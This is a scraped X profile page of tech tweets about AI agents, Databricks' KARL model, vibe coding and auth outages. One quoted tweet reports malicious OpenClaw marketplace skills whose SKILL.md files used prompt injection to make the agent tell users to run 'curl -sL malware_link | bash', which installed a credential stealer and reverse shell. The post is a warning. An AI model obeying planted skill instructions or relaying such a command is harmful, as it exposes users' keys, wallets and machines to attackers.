Sabitlenmiş Tweet
@scottbelsky if there’s one thing we’ve learned from post-internet capital markets, it’s “follow the dopamine”
English
Bryce DeFigueiredo
1.8K posts
Bryce DeFigueiredo
@bdefig
building agents // co-founder https://t.co/mHcbQIGHY9 // techno-optimist and regular optimist
SF Katılım Ekim 2015
439 Takip Edilen463 Takipçiler
The new thing is “don’t show up to a meeting without a prototype.” No matter your role.
English
@joshu If the model is RLed for engagement, it’s going to take an incredible amount of willpower from OpenAI not to speedrun to the worst of internet writing.
English
@mweinbach You could probably pull out the RAM and sell it for more than that
English
This laptop comes with 1.1TB of storage
128GB SSD
1TB OneDrive storage (only for a year)
This is just insane
English
@jaminball @databricks This is the LLM version of “the school of hard knocks” vs. a fancy ivy league
English
Awesome job by the @databricks team
My summary:
They trained a model called KARL that beats Claude 4.6 and GPT 5.2 on enterprise knowledge tasks (searching docs, cross-referencing info, answering questions over internal data), at ~33% lower cost and ~47% lower latency.
The key insight: instead of throwing expensive frontier models at enterprise search, you can use reinforcement learning on synthetic data to train a smaller model that's faster, cheaper, AND better at the specific task.
RL went beyond making the model more accurate. I t learned to search more efficiently (fewer wasted queries, better knowing when to stop searching and commit to an answer).
They're opening this RL pipeline to Databricks customers so they can build their own custom RL-optimized agents for high-volume workloads.
I think we'll continue to see data platforms become agent platforms. Databricks' KARL paper is really an agent platform play. The pitch: you already store your enterprise data in the Lakehouse, now Databricks will train a custom RL agent that searches and reasons over it, tuned specifically for your highest-volume workloads (workloads = apps = agents). The business move is closing the loop: data storage → retrieval → custom agent training → serving, all on Databricks. They're turning "your data lives here" into "your agents live here too."
Kudos @alighodsi @matei_zaharia @rxin
Databricks AI Research@DbrxMosaicAI
Meet KARL: a faster agent for enterprise knowledge, powered by custom reinforcement learning (now in preview). Enterprise knowledge work isn’t just Q&A. Agents need to search for documents, find facts, cross-reference information, and reason over dozens or hundreds of steps. KARL (Knowledge Agent via Reinforcement Learning) was built to handle this full spectrum of grounded reasoning tasks. The result: frontier-level performance on complex knowledge workloads at a fraction of the cost and latency of leading proprietary models. These advances are already making their way into Agent Bricks, improving how knowledge agents reason over enterprise data. And Databricks customers can apply the same reinforcement learning techniques used to train KARL to build custom agents for their own enterprise use cases. Read the research → databricks.com/sites/default/… Blog: databricks.com/blog/meet-karl…
English
You just need a Mormon grandma who can trace your family tree back to your 13th great grandfather who was born in 1503
daz@MetamateDaz
Told my girlfriend I want 3 kids so I have a legacy she asked me to name my great grandparents
English
I think there are a couple takes one could have:
1) We’re still so early. Models have a long way to go and current benchmarks capture just a sliver of what matters.
2) (The OpenClaw approach) There are lots of problems that “aren’t coding problems,” but if an agent is clever enough, it can write code to solve them. Even ad hoc, ephemeral, task-specific code.
It’s probably a mix of both. My sense is that there’s a lot of juice to squeeze out of number 2.
English
This is one of the most important questions I'm continuing to dig into.
From my experience building Milo to take on the mundane family management task for parents, there are important persistent gaps between the supposed capabilities and the actual results on complex everday tasks.
This is especially true in areas of work that lean more towards "care" tasks that have more underlying tacit, non-language components...
I've started digging into the benchmarks question - but interested in anyone else digging into this.
Ethan Mollick@emollick
What a great illustration of the central problem of AI benchmarking for real work All of the effort is going into benchmarking for coding, but that is a small part of the actual jobs people do, which leaves the true trajectory of AI progress less clear. arxiv.org/pdf/2603.01203
English
English
The exact pitch deck that helped us raise a $9M Seed Round
copy whatever you want
VCs that invested:
→ @SusquehannaVC (led)
→ @LightspeedIndia
→ @BCapitalGroup
→ Seaborne Capital
→ @beenextVC
→ @sparrowcapvc
→ @2point2club joined.
fundraising is hard enough without guessing what investors want to see.
so - I'm making our deck public.
if you're raising right now, take it and make it yours.
Reply 'deck' + follow (so I can DM it over)
English
@gilbert I always assume these shots are mostly CGI. Amazing to see how much is done with atoms, not just bits.
English
I remember thinking how insane this shot was when I watched it
So cool to see behind the scenes.
Ben Stiller@BenStiller
Last 4 year #severance anniversary drop… this is probably out in the world already… but… first shot of season 2💙💚
English
@gill_kyle @andrewdex Oh cool, interested to see how it goes! A few months ago, I would have said no way to agent-coding auth, but these things are so good now that it could probably work.
English
Really seriously considering it now, looks like it could work with some lightweight mapping logic.
With Claude & Codex pulling some serious weight I think this could go fast. Looking at 2 examples with pure python monolith and another with better-auth. Probably will put an agent-team/ralph-wiggum at each
English
"Degraded" performance 😅
None of our customers can log into our app and we can't event log in to their app to try and see what's going on!
Kyle Gill@gill_kyle
All our services running on @clerk are returning 429's - Rate exceeded, seeing the same things on other sites running Clerk... Including Clerk itself:
English
@gill_kyle @andrewdex ah yeah makes sense. rolling our own stuff always ends up looking less exciting once we get into the weeds.
English
@bdefig @andrewdex currently digging in deep, we have a unique setup on python/singlestore so I'm trying to decide if the juice is worth the squeeze to run a whole new microservice instead of build it into the monolith
English
@tunguz Seems solvable by the agent, right. Humans use heuristics to decide which apps they can trust. An agent can just read the entire skill.
English
This is baaaaad.
chiefofautism@chiefofautism
the #1 most downloaded skill on OpenClaw marketplace was MALWARE it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server 1,184 malicious skills found, one attacker uploaded 677 packages ALONE OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins you install a skill, your AI agent gets new powers, this sounds great the problem? ClawHub let ANYONE publish with just a 1 week old github account attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL but hidden in the SKILL.md file were instructions that tricked the AI into telling you to run a command > to enable this feature please run: curl -sL malware_link | bash that one command installed Atomic Stealer on macOS it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1 this is npm supply chain attacks all over again except the package can THINK and has root access to your life
English
English
@andrewdex we switched from cognito a while back, probably gonna roll our own 😭
English
@perrikaryal There's actually a real world application for this.
Imagine using this tech in space, but instead of a stick to control, it's a gyro always pointing at the floor in zero gravity so your body always orients correctly.
English
I can control your balance
I made a device that sends DC current through my head to stimulate my vestibular nerve (called galvanic vestibular stimulation or GVS) and, in doing so, can make me feel completely destabilised. By changing the direction of the current, it can make me fall in that direction.
Hook that up to keyboard controls or a joystick, and suddenly you could have your own remote control human.
Naturally, my first thought was man I wanna play trackmania with this. What else should I do?
I do not have enough self-preservation, clearly lol
#gvs #technology #science #trackmania
English
@mgsiegler And for 2/5 of them, the QB and president even shared the same first name
English
They’re roping me into this Super Bowl... (UNC can join this amazing list if Drake Maye wins — thanks to James Polk). #GoBlue 🏈
English
anne hathaway discovered claude code
Ramin Nasibov@RaminNasibov
The level of productivity I aspire to be:
English
Okay, these Anthropic ads have gotten out of hand.
Amazon@amazon
This year for the Big Game, Chris let his imagination run a little too wild with @AmazonAlexa.
English
“Vibe coding is not just about making MRR.”
In fact one of the coolest things about vibe coding is that it doesn’t care about MRR.
I’m old enough to remember a time when an app just wouldn’t exist if there were no money in it. (I’m >1 year old).
David@dayonefoundry
My Wife’s vibe coded her first app and here it is in action today She created a ticket and check in system for a charity event in Vietnam. Every existing system is fully online but a lot of the elderly in Da Nang don’t have phones or don’t know how to use technology. This app lets you design and print out physical tickets for distribution and then lets staff scan the ticket so that it can’t be reused. You also take a photo of the person and facial recognition makes sure people don’t slip back in line a second time. She is a product lead and a designer but has no engineering background. Vibe coding is not just about making MRR. It empowers everyone to build useful tools for the real world.
English
English
we asked @tszzl about X starterpacks:
"i hate it"
"we had this concept of illegibility. stay vague and weird so people can't label you and attack you based on that label."
"then here is this starterpack where these 20 accounts are this label."
"it probably is a good growth hack"
English
@paularambles @Anthropic if those wordles are real, that guy probably achieved agi
English
the @Anthropic handle being owned by a guy who only posts his wordles is my favorite form of AI safety
English